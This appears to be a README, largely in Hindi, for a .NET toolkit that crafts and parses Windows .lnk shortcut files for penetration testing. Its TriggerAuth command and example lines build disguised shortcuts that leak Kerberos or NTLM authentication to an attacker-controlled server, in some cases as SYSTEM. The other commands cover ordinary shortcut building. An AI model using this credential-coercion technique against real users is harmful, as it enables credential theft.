
Lnk crafting and research tools
A .NET 8 टूलकिट जो Windows Shell Link (.lnk) फ़ाइलें बनाने और उनका विश्लेषण करने के लिए है। इसमें एक कमांड-लाइन बिल्डर (LnkMeMaybe) और एक ग्राफिकल संपादक (LnkUi) शामिल है। यह सुरक्षा अनुसंधान और पैठ परीक्षण के लिए है।
| प्रोजेक्ट | विवरण |
|---|---|
Lnk/ | मुख्य लाइब्रेरी। MS-SHLLINK विनिर्देश के अनुसार .lnk बाइनरी प्रारूप को पार्स और उत्पन्न करती है। LnkHandler मुख्य प्रवेश बिंदु है, जो ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData, और ExtraData को संयोजित करता है। |
LnkMeMaybe/ | CLI टूल। विभिन्न प्रकार की .lnk फ़ाइलें उत्पन्न करने के लिए कमांड। Titanis.Cli फ्रेमवर्क का उपयोग करता है। |
LnkUi/ | Avalonia 11 MVVM डेस्कटॉप संपादक। सात ViewModels संबंधित Lnk लाइब्रेरी घटकों को लपेटते हैं। .lnk फ़ाइलों की मैन्युअल खोज और निरीक्षण के लिए उपयोगी। |
LnkTests/ | MSTest सुइट। वास्तविक .lnk फ़ाइल नमूने संसाधनों के रूप में एम्बेडेड हैं। ShellLinkHeader और LinkInfo को कवर करता है। |
सभी कमांड निम्नलिखित आधार पैरामीटर साझा करते हैं (BaseSavedCommand से):
TriggerAuth (CVE-2026-25185)एक .lnk बनाता है जो निर्दिष्ट सर्वर पर Kerberos (NTLM पर फॉलबैक) प्रमाणीकरण ट्रिगर करता है। .lnk कुछ भी निष्पादित नहीं करता।
ऐसे परिदृश्य जिनमें प्रमाणीकरण ट्रिगर होता है:
.lnk वाले शेयर पर ब्राउज़ करता है — तो उपयोगकर्ता का खाता बाहरी रूप से प्रमाणित होता है।.lnk को ऐसे स्थान पर रखा जाता है जिसे मशीन इंडेक्स करने के लिए कॉन्फ़िगर की गई है — SearchProtocolHost SYSTEM के रूप में प्रमाणित होता है।MSSense.exe SYSTEM के रूप में प्रमाणित होता है।पैरामीटर:
उदाहरण:
# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcutएक .lnk फ़ाइल बनाता है जो किसी वेब URL की ओर इंगित करती है। सामान्यतः Windows वेब शॉर्टकट के लिए .url फ़ाइल बनाता है; यह कमांड इसके बजाय .lnk उत्पन्न करता है।
पैरामीटर:
| पैरामीटर | आवश्यक | विवरण |
|---|---|---|
--Url | हाँ | वह URL जिसे शॉर्टकट इंगित करना चाहिए। एक सुगठित निरपेक्ष URI होना चाहिए। |
उदाहरण:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcutस्थानीय फ़ाइल या फ़ोल्डर के लिए एक मानक Windows शॉर्टकट बनाता है। लक्ष्य पथ को शेल आइटम ID सूची (PIDL) के रूप में संग्रहीत किया जाता है — वह मूल प्रारूप जिसका उपयोग Windows फ़ाइलसिस्टम शॉर्टकट के लिए करता है।
पैरामीटर:
उदाहरण:
# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcutएक .lnk बनाता है जहां लक्ष्य पथ एक विस्तारणीय पर्यावरण-चर स्ट्रिंग (EnvironmentVariableDataBlock) के रूप में संग्रहीत किया जाता है। यह वह प्रारूप है जिसका उपयोग Windows सिस्टम निष्पादनयोग्य फ़ाइलों (जैसे %SystemRoot%\system32\notepad.exe) के शॉर्टकट के लिए करता है। चर लॉन्च समय पर विस्तारित होते हैं, जिससे शॉर्टकट Windows इंस्टॉलेशन के बीच पोर्टेबल बन जाता है।
पैरामीटर:
उदाहरण:
# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# Build (debug)
dotnet build Lnk.sln
# Build (release, core projects only)
dotnet build -c Release build.slnf
# Run all tests
dotnet test
# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"
# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
Windows, Linux और macOS (x64 और arm64) के लिए पूर्व-निर्मित बाइनरी Releases पृष्ठ पर उपलब्ध हैं।
प्रत्येक रिलीज़ में LnkMeMaybe और LnkUi दोनों के लिए स्टैंडअलोन (कोई .NET रनटाइम आवश्यक नहीं) और फ्रेमवर्क-निर्भर (.NET 8 रनटाइम की आवश्यकता) बिल्ड शामिल हैं।
निम्नलिखित कार्यों के लिए AI प्रणालियों का उपयोग किया गया:
इस रिपॉजिटरी में मौजूद कोड अन्यथा मानव निर्मित और समीक्षित है।
| पैरामीटर | उपनाम | आवश्यक | विवरण |
|---|
--OutputPath | हाँ | .lnk फ़ाइल लिखने के लिए फ़ाइलसिस्टम पथ। | |
--Overwrite | नहीं | OutputPath पर मौजूदा फ़ाइल को अधिलेखित करने की अनुमति दें। | |
--DisplayName | नहीं | शॉर्टकट पर होवर करने पर दिखाया जाने वाला टेक्स्ट। नई पंक्तियों के लिए \n समर्थित है। | |
--IconPath / -I | -I | नहीं | शॉर्टकट आइकन के रूप में उपयोग करने के लिए .exe या .dll का पथ। लक्ष्य सिस्टम पर मौजूद होना चाहिए। |
--IconIndex | नहीं | --IconPath द्वारा निर्दिष्ट फ़ाइल के भीतर आइकन संसाधन अनुक्रमणिका। डिफ़ॉल्ट: 0। |
| पैरामीटर | उपनाम | आवश्यक | विवरण |
|---|
--FakePath / -F | -F | हाँ | .lnk गुणों में लक्ष्य के रूप में प्रदर्शित पथ। |
--Server / -S | -S | हाँ | सर्वर होस्टनाम, IP, या UNC पथ जिसे प्रमाणीकरण भेजना है। यदि कोई शेयर निर्दिष्ट नहीं है तो IPC$ जोड़ता है। |
--Darwin | नहीं | .lnk में संग्रहीत Darwin पहचानकर्ता। कोई भी मान हो सकता है। डिफ़ॉल्ट: unset। |
| पैरामीटर | उपनाम | आवश्यक | विवरण |
|---|
--TargetPath | हाँ | लक्ष्य फ़ाइल या फ़ोल्डर का निरपेक्ष पथ। | |
--Arguments | नहीं | लक्ष्य को पारित करने के लिए कमांड-लाइन तर्क। | |
--WorkingDirectory | -W | नहीं | लक्ष्य प्रक्रिया के लिए कार्यशील निर्देशिका। |
--RunAsAdmin | नहीं | शॉर्टकट लॉन्च होने पर UAC एलिवेशन का अनुरोध करें। | |
--ShowCommand | नहीं | लॉन्च पर विंडो स्थिति: Normal, Maximized, या Minimized। |
| पैरामीटर | उपनाम | आवश्यक | विवरण |
|---|
--TargetPath | हाँ | लक्ष्य पथ, इसमें %SystemRoot% या %USERPROFILE% जैसे पर्यावरण चर शामिल हो सकते हैं। | |
--Arguments | नहीं | लक्ष्य को पारित करने के लिए कमांड-लाइन तर्क। | |
--WorkingDirectory | -W | नहीं | लक्ष्य प्रक्रिया के लिए कार्यशील निर्देशिका। |
--RunAsAdmin | नहीं | शॉर्टकट लॉन्च होने पर UAC एलिवेशन का अनुरोध करें। | |
--ShowCommand | नहीं | लॉन्च पर विंडो स्थिति: Normal, Maximized, या Minimized। |